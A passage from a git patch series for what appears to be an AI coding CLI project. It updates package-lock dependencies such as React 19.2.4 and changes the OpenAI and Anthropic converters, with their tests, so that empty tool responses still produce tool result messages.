"@parcel/watcher-android-arm64": "2.5.1", - "@parcel/watcher-darwin-arm64": "2.5.1", - "@parcel/watcher-darwin-x64": "2.5.1", - "@parcel/watcher-freebsd-x64": "2.5.1", - "@parcel/watcher-linux-arm-glibc": "2.5.1", - "@parcel/watcher-linux-arm-musl": "2.5.1", - "@parcel/watcher-linux-arm64-glibc": "2.5.1", - "@parcel/watcher-linux-arm64-musl": "2.5.1", - "@parcel/watcher-linux-x64-glibc": "2.5.1", - "@parcel/watcher-linux-x64-musl": "2.5.1", - "@parcel/watcher-win32-arm64": "2.5.1", - "@parcel/watcher-win32-ia32": "2.5.1", - "@parcel/watcher-win32-x64": "2.5.1" - } - }, - "node_modules/@parcel/watcher-android-arm64": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz", - "integrity": "sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-darwin-arm64": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz", - "integrity": "sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-darwin-x64": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz", - "integrity": "sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-freebsd-x64": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz", - "integrity": "sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm-glibc": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz", - "integrity": "sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm-musl": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz", - "integrity": "sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm64-glibc": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz", - "integrity": "sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm64-musl": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz", - "integrity": "sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-x64-glibc": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz", - "integrity": "sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-x64-musl": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz", - "integrity": "sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-win32-arm64": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz", - "integrity": "sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-win32-ia32": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz", - "integrity": "sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-win32-x64": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz", - "integrity": "sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher/node_modules/detect-libc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", - "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==", - "dev": true, - "license": "Apache-2.0", - "optional": true, - "bin": { - "detect-libc": "bin/detect-libc.js" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/@parcel/watcher/node_modules/node-addon-api": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", - "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", - "dev": true, - "license": "MIT", - "optional": true - }, "node_modules/@pkgjs/parseargs": { "version": "0.11.0", "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", @@ -3895,25 +3563,25 @@ "license": "MIT" }, "node_modules/@types/react": { - "version": "19.1.8", - "resolved": "https://registry.npmjs.org/@types/react/-/react-19.1.8.tgz", - "integrity": "sha512-AwAfQ2Wa5bCx9WP8nZL2uMZWod7J7/JSplxbTmBQ5ms6QpqNYm672H0Vu9ZVKVngQ+ii4R/byguVEUZQyeg44g==", + "version": "19.2.10", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.10.tgz", + "integrity": "sha512-WPigyYuGhgZ/cTPRXB2EwUw+XvsRA3GqHlsP4qteqrnnjDrApbS7MxcGr/hke5iUoeB7E/gQtrs9I37zAJ0Vjw==", "devOptional": true, "license": "MIT", "peer": true, "dependencies": { - "csstype": "^3.0.2" + "csstype": "^3.2.2" } }, "node_modules/@types/react-dom": { - "version": "19.1.6", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.1.6.tgz", - "integrity": "sha512-4hOiT/dwO8Ko0gV1m/TJZYk3y0KBnY9vzDh7W+DH17b2HFSOGgdj33dhihPeuy3l0q23+4e+hoXHV6hCC4dCXw==", + "version": "19.2.3", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", + "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", "dev": true, "license": "MIT", "peer": true, "peerDependencies": { - "@types/react": "^19.0.0" + "@types/react": "^19.2.0" } }, "node_modules/@types/readdir-glob": { @@ -6850,9 +6518,9 @@ } }, "node_modules/csstype": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", - "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", "devOptional": true, "license": "MIT" }, @@ -9574,14 +9242,6 @@ "node": ">= 4" } }, - "node_modules/immutable": { - "version": "5.1.4", - "resolved": "https://registry.npmjs.org/immutable/-/immutable-5.1.4.tgz", - "integrity": "sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA==", - "dev": true, - "license": "MIT", - "optional": true - }, "node_modules/import-fresh": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", @@ -13628,9 +13288,9 @@ } }, "node_modules/react": { - "version": "19.1.0", - "resolved": "https://registry.npmjs.org/react/-/react-19.1.0.tgz", - "integrity": "sha512-FS+XFBNvn3GTAWq26joslQgWNoFu08F4kl0J4CgdNKADkdSGXQyTCnKteIAJy96Br6YbpEU1LSzV5dYtjMkMDg==", + "version": "19.2.4", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.4.tgz", + "integrity": "sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ==", "license": "MIT", "peer": true, "engines": { @@ -13672,19 +13332,24 @@ } }, "node_modules/react-dom": { - "version": "19.1.0", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.1.0.tgz", - "integrity": "sha512-Xs1hdnE+DyKgeHJeJznQmYMIBG3TKIHJJT95Q58nHLSrElKlGQqDTR2HQ9fx5CN/Gk6Vh/kupBTDLU11/nDk/g==", - "dev": true, + "version": "19.2.4", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.4.tgz", + "integrity": "sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ==", "license": "MIT", "peer": true, "dependencies": { - "scheduler": "^0.26.0" + "scheduler": "^0.27.0" }, "peerDependencies": { - "react": "^19.1.0" + "react": "^19.2.4" } }, + "node_modules/react-dom/node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT" + }, "node_modules/react-is": { "version": "16.13.1", "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", @@ -21414,8 +21079,8 @@ "cors": "^2.8.5", "express": "^5.1.0", "markdown-it": "^14.1.0", - "react": "^19.1.0", - "react-dom": "^19.1.0", + "react": "^19.2.4", + "react-dom": "^19.2.4", "semver": "^7.7.2", "zod": "^3.25.76" }, @@ -21424,8 +21089,8 @@ "@types/express": "^5.0.3", "@types/markdown-it": "^14.1.2", "@types/node": "20.x", - "@types/react": "^19.1.8", - "@types/react-dom": "^19.1.6", + "@types/react": "^19.2.10", + "@types/react-dom": "^19.2.3", "@types/semver": "^7.7.1", "@types/vscode": "^1.85.0", "@typescript-eslint/eslint-plugin": "^8.31.1", diff --git a/packages/vscode-ide-companion/package.json b/packages/vscode-ide-companion/package.json index d13f52e0f..0cb9fedc3 100644 --- a/packages/vscode-ide-companion/package.json +++ b/packages/vscode-ide-companion/package.json @@ -134,8 +134,8 @@ "@types/express": "^5.0.3", "@types/markdown-it": "^14.1.2", "@types/node": "20.x", - "@types/react": "^19.1.8", - "@types/react-dom": "^19.1.6", + "@types/react": "^19.2.10", + "@types/react-dom": "^19.2.3", "@types/semver": "^7.7.1", "@types/vscode": "^1.85.0", "@typescript-eslint/eslint-plugin": "^8.31.1", @@ -152,13 +152,13 @@ "vitest": "^3.2.4" }, "dependencies": { - "semver": "^7.7.2", "@modelcontextprotocol/sdk": "^1.25.1", "cors": "^2.8.5", "express": "^5.1.0", "markdown-it": "^14.1.0", - "react": "^19.1.0", - "react-dom": "^19.1.0", + "react": "^19.2.4", + "react-dom": "^19.2.4", + "semver": "^7.7.2", "zod": "^3.25.76" } } From 7920ef3e2851f8c6d4cb4494e67906bc54877113 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 29 Jan 2026 17:11:31 +0800 Subject: [PATCH 79/79] fix(core): emit empty tool results for OpenAI/Anthropic Ensure converters always produce a tool_result/tool message even when the function response output is empty, matching provider requirements. --- .../converter.test.ts | 33 +++++++++++++++++ .../openaiContentGenerator/converter.test.ts | 37 +++++++++++++++++-- .../core/openaiContentGenerator/converter.ts | 11 +++++- 3 files changed, 75 insertions(+), 6 deletions(-) diff --git a/packages/core/src/core/anthropicContentGenerator/converter.test.ts b/packages/core/src/core/anthropicContentGenerator/converter.test.ts index 7d7f31662..14671b6ce 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.test.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.test.ts @@ -209,6 +209,39 @@ describe('AnthropicContentConverter', () => { }); }); + it('creates tool result with empty content for empty function responses', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'read_file', + response: { output: '' }, + }, + }, + ], + }, + ], + }); + + // Should create a tool result with empty string content + // This is required because Anthropic API expects every tool use to have a corresponding result + expect(messages[0]).toEqual({ + role: 'user', + content: [ + { + type: 'tool_result', + tool_use_id: 'call-1', + content: '', + }, + ], + }); + }); + it('converts function response with inlineData image parts into tool_result with images', () => { const { messages } = converter.convertGeminiRequestToAnthropic({ model: 'models/test', diff --git a/packages/core/src/core/openaiContentGenerator/converter.test.ts b/packages/core/src/core/openaiContentGenerator/converter.test.ts index 03f7dda48..98a019439 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.test.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.test.ts @@ -806,17 +806,32 @@ describe('OpenAIContentConverter', () => { expect(userMessage).toBeUndefined(); }); - it('should skip empty function responses with no media and no text', () => { + it('should create tool message with empty content for empty function responses', () => { const request: GenerateContentParameters = { model: 'models/test', contents: [ + { + role: 'model', + parts: [ + { + text: 'Let me read that file.', + }, + { + functionCall: { + id: 'call_1', + name: 'read_file', + args: { path: 'test.txt' }, + }, + }, + ], + }, { role: 'user', parts: [ { functionResponse: { id: 'call_1', - name: 'Empty', + name: 'read_file', response: { output: '' }, }, }, @@ -827,8 +842,22 @@ describe('OpenAIContentConverter', () => { const messages = converter.convertGeminiRequestToOpenAI(request); - // Should have no messages for empty response - expect(messages).toHaveLength(0); + // Should create an assistant message with tool call and a tool message with empty content + // This is required because OpenAI API expects every tool call to have a corresponding response + expect(messages.length).toBeGreaterThanOrEqual(2); + + const toolMessage = messages.find( + (m) => + m.role === 'tool' && + 'tool_call_id' in m && + m.tool_call_id === 'call_1', + ); + expect(toolMessage).toBeDefined(); + expect(toolMessage).toMatchObject({ + role: 'tool', + tool_call_id: 'call_1', + content: '', + }); }); }); diff --git a/packages/core/src/core/openaiContentGenerator/converter.ts b/packages/core/src/core/openaiContentGenerator/converter.ts index 2ebc88f17..2ca7428bd 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.ts @@ -562,9 +562,16 @@ export class OpenAIContentConverter { } } - // Tool messages require content, so skip if empty + // IMPORTANT: Always return a tool message, even if content is empty + // OpenAI API requires that every tool call has a corresponding tool response + // Empty tool results are valid (e.g., reading an empty file, successful operations with no output) if (contentParts.length === 0) { - return null; + // Return empty string for empty tool results + return { + role: 'tool' as const, + tool_call_id: response.id || '', + content: '', + }; } // Cast to OpenAI type - some OpenAI-compatible APIs support richer content in tool messages